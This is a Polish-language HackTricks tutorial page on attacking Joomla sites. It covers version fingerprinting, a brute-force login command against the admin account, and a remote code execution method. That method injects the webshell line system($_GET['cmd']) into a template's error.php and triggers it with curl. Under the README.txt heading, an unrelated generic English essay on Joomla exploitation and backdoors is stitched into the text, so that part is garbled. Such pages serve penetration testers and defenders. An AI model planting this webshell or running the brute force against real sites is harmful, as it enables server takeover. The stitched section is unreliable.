hacktricks/network-services-pentesting/pentesting-web/joomla.md
2024-02-11 01:46:25 +00:00

160 lines
8.8 KiB
Markdown

# Joomla
<details>
<summary><strong>Naucz się hakować AWS od zera do bohatera z</strong> <a href="https://training.hacktricks.xyz/courses/arte"><strong>htARTE (HackTricks AWS Red Team Expert)</strong></a><strong>!</strong></summary>
* Pracujesz w **firmie zajmującej się cyberbezpieczeństwem**? Chcesz zobaczyć, jak Twoja **firma jest reklamowana w HackTricks**? A może chcesz mieć dostęp do **najnowszej wersji PEASS lub pobrać HackTricks w formacie PDF**? Sprawdź [**PLAN SUBSKRYPCJI**](https://github.com/sponsors/carlospolop)!
* Odkryj [**Rodzinę PEASS**](https://opensea.io/collection/the-peass-family), naszą kolekcję ekskluzywnych [**NFT**](https://opensea.io/collection/the-peass-family)
* Zdobądź [**oficjalne gadżety PEASS & HackTricks**](https://peass.creator-spring.com)
* **Dołącz do** [**💬**](https://emojipedia.org/speech-balloon/) [**grupy Discord**](https://discord.gg/hRep4RUj7f) lub [**grupy telegramowej**](https://t.me/peass) lub **śledź** mnie na **Twitterze** 🐦[**@carlospolopm**](https://twitter.com/hacktricks_live)**.**
* **Podziel się swoimi sztuczkami hakerskimi, przesyłając PR-y do repozytorium [hacktricks](https://github.com/carlospolop/hacktricks) i [hacktricks-cloud](https://github.com/carlospolop/hacktricks-cloud)**.
</details>
### Statystyki Joomla
Joomla zbiera pewne anonimowe [statystyki użytkowania](https://developer.joomla.org/about/stats.html), takie jak podział wersji Joomla, PHP i baz danych oraz systemów operacyjnych serwera używanych w instalacjach Joomla. Dane te można zapytać za pomocą publicznego [API](https://developer.joomla.org/about/stats/api.html).
```bash
curl -s https://developer.joomla.org/stats/cms_version | python3 -m json.tool
{
"data": {
"cms_version": {
"3.0": 0,
"3.1": 0,
"3.10": 6.33,
"3.2": 0.01,
"3.3": 0.02,
"3.4": 0.05,
"3.5": 12.24,
"3.6": 22.85,
"3.7": 7.99,
"3.8": 17.72,
"3.9": 27.24,
"4.0": 3.21,
"4.1": 1.53,
"4.2": 0.82,
"4.3": 0,
"5.0": 0
},
"total": 2951032
}
}
```
## Wyliczanie
### Odkrywanie / Pozyskiwanie informacji
* Sprawdź **meta**
```bash
curl https://www.joomla.org/ | grep Joomla | grep generator
<meta name="generator" content="Joomla! - Open Source Content Management" />
```
* robots.txt
Plik robots.txt jest plikiem tekstowym używanym przez witryny internetowe do komunikacji z robotami wyszukiwarek. Jest to zazwyczaj umieszczane w głównym katalogu witryny i zawiera instrukcje dla robotów wyszukiwarek dotyczące indeksowania i przeglądania strony. Plik robots.txt może zawierać polecenia, takie jak "User-agent", które określają, które roboty wyszukiwarek mają dostęp do witryny, oraz "Disallow", które określają, które części witryny nie powinny być indeksowane. Jest to przydatne narzędzie podczas testowania penetracyjnego, ponieważ może ujawnić informacje o ukrytych stronach lub katalogach, które nie powinny być publicznie dostępne.
```
# If the Joomla site is installed within a folder
# eg www.example.com/joomla/ then the robots.txt file
# MUST be moved to the site root
# eg www.example.com/robots.txt
# AND the joomla folder name MUST be prefixed to all of the
# paths.
[...]
```
* README.txt
# Joomla
## Joomla! is a popular open-source content management system (CMS) used to build websites and online applications. As a pentester, it is important to understand the vulnerabilities and security weaknesses that can be exploited in Joomla installations.
## Enumeration
### Version Detection
To determine the version of Joomla running on a target website, you can check the `README.txt` file located in the root directory. This file often contains information about the Joomla version and other useful details.
### Directory Enumeration
Performing directory enumeration can help identify potential attack vectors and hidden files or directories. Tools like `dirb` or `gobuster` can be used to brute-force directories and discover additional paths.
## Exploitation
### Known Vulnerabilities
Joomla has had several vulnerabilities in the past, so it is crucial to stay updated with the latest security advisories. Exploiting known vulnerabilities can provide unauthorized access to the Joomla installation or even compromise the underlying server.
### SQL Injection
Joomla is not immune to SQL injection attacks. By injecting malicious SQL queries into vulnerable parameters, an attacker can manipulate the database and potentially gain unauthorized access to sensitive information.
### File Inclusion
File inclusion vulnerabilities in Joomla can allow an attacker to include and execute arbitrary files on the server. This can lead to remote code execution and complete compromise of the target system.
### Cross-Site Scripting (XSS)
Cross-Site Scripting vulnerabilities in Joomla can be exploited to inject malicious scripts into web pages viewed by users. This can lead to session hijacking, defacement, or the theft of sensitive information.
## Privilege Escalation
Once access to a Joomla installation is gained, privilege escalation techniques can be used to elevate privileges and gain further control over the system. This may involve exploiting misconfigurations, weak file permissions, or other vulnerabilities.
## Post-Exploitation
After compromising a Joomla installation, it is important to maintain access and perform post-exploitation activities. This may include creating backdoors, stealing data, or pivoting to other systems within the network.
## Conclusion
Understanding the vulnerabilities and exploitation techniques related to Joomla is essential for conducting effective penetration testing. By identifying and exploiting weaknesses in Joomla installations, pentesters can help organizations improve their security posture and protect against potential attacks.
```
1- What is this?
* This is a Joomla! installation/upgrade package to version 3.x
* Joomla! Official site: https://www.joomla.org
* Joomla! 3.9 version history - https://docs.joomla.org/Special:MyLanguage/Joomla_3.9_version_history
* Detailed changes in the Changelog: https://github.com/joomla/joomla-cms/commits/staging
```
### Wersja
* W **/administrator/manifests/files/joomla.xml** można zobaczyć wersję.
* W **/language/en-GB/en-GB.xml** można uzyskać wersję Joomla.
* W **plugins/system/cache/cache.xml** można zobaczyć przybliżoną wersję.
### Automatyczne
```bash
droopescan scan joomla --url http://joomla-site.local/
```
W[ **80,443 - Metodologia testowania penetracyjnego aplikacji internetowych to sekcja o skanerach CMS**](./#cms-scanners), które mogą skanować Joomla.
### Atak Brute-Force
Możesz użyć tego [skryptu](https://github.com/ajnik/joomla-bruteforce), aby spróbować przeprowadzić atak Brute-Force na logowanie.
```shell-session
sudo python3 joomla-brute.py -u http://joomla-site.local/ -w /usr/share/metasploit-framework/data/wordlists/http_default_pass.txt -usr admin
admin:admin
```
## RCE (Remote Code Execution)
Jeśli udało Ci się zdobyć **dane logowania administratora**, możesz uzyskać **RCE (zdalne wykonanie kodu)**, dodając fragment **kodu PHP**, aby uzyskać **RCE**. Możemy to zrobić, **dostosowując** **szablon**.
1. **Kliknij** na **`Szablony`** na dole po lewej stronie pod `Konfiguracja`, aby otworzyć menu szablonów.
2. **Kliknij** na nazwę **szablonu**. Wybierzmy **`protostar`** pod nagłówkiem `Szablon`. Spowoduje to otwarcie strony **`Szablony: Dostosuj`**.
3. Wreszcie, możesz kliknąć na stronę, aby otworzyć **źródło strony**. Wybierzmy stronę **`error.php`**. Dodamy **jednolinijkowy kod PHP do zdalnego wykonania**, jak poniżej:
1. **`system($_GET['cmd']);`**
4. **Zapisz i zamknij**
5. `curl -s http://joomla-site.local/templates/protostar/error.php?cmd=id`
<details>
<summary><strong>Naucz się hakować AWS od zera do bohatera z</strong> <a href="https://training.hacktricks.xyz/courses/arte"><strong>htARTE (HackTricks AWS Red Team Expert)</strong></a><strong>!</strong></summary>
* Czy pracujesz w **firmie zajmującej się cyberbezpieczeństwem**? Chcesz zobaczyć swoją **firmę reklamowaną w HackTricks**? A może chcesz mieć dostęp do **najnowszej wersji PEASS lub pobrać HackTricks w formacie PDF**? Sprawdź [**PLAN SUBSKRYPCYJNY**](https://github.com/sponsors/carlospolop)!
* Odkryj [**Rodzinę PEASS**](https://opensea.io/collection/the-peass-family), naszą kolekcję ekskluzywnych [**NFT**](https://opensea.io/collection/the-peass-family)
* Zdobądź [**oficjalne gadżety PEASS & HackTricks**](https://peass.creator-spring.com)
* **Dołącz do** [**💬**](https://emojipedia.org/speech-balloon/) [**grupy Discord**](https://discord.gg/hRep4RUj7f) lub [**grupy telegramowej**](https://t.me/peass) lub **śledź** mnie na **Twitterze** 🐦[**@carlospolopm**](https://twitter.com/hacktricks_live)**.**
* **Podziel się swoimi sztuczkami hakerskimi, przesyłając PR-y do repozytorium [hacktricks](https://github.com/carlospolop/hacktricks) i [hacktricks-cloud](https://github.com/carlospolop/hacktricks-cloud)**.
</details>